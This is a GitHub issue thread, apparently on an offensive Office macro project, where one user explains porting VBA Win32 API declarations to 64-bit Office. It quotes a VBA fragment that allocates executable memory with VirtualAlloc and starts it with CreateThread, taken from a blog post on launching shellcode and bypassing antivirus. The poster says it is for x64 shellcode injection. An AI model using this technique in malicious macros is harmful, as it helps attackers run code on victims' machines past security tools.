Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Porting to x64 Office support #4

Open
0xbad53c opened this issue Aug 31, 2021 · 1 comment
Open

Porting to x64 Office support #4

0xbad53c opened this issue Aug 31, 2021 · 1 comment

Comments

@0xbad53c
Copy link

Hi guys,

Just wanted to post this here in case anyone was wondering how to add x64 support. Essentially, you should replace all x86 "Long" pointer types with "LongPtr" types. This vbtype will automatically select the "Long" for x86 and "LongLong" for x64. Do not just blindly replace Long, but look at the Win32 API specification and convert types appropriately. If a Win32 API parameter or result is not a pointer, it should not be converted to "LongLong" and therefore "LongPtr" should not be used.

The following example could help: https://gist.github.com/rmdavy/43ce9872080a2a37fe54a10a6d9b0f1c
Also take into consideration the following from Sevagas' blog on MacroPack Pro https://blog.sevagas.com/Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads :

Dim allocatedAddr As LongPtr ' Long or LongLong depending on architecture
#If Win64 Then
allocatedAddr = IndirectWin32Call("kernel32", "VirtualAlloc", vbLongLong, 0&, UBound(buffToInject), &H1000, &H40) ' vbLongLong is mandatory as returned address is 64bit
...
Dim nullValue as LongPtr  ' Or instead use 0^ for LongLong zero directly as function argument
nullValue = 0
result = IndirectWin32Call("kernel32", "CreateThread", vbLong, nullValue, nullValue, allocatedAddr, nullValue, 0, nullValue) 'DispCallFunc needs precise type for arguments. LongLong zero is not the same as Long zero.

This information helped me a lot for x64 Shellcode injection. I hope this makes it less time-consuming for other people in the future.

@aress31
Copy link

aress31 commented Jul 26, 2022

Any update on this?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants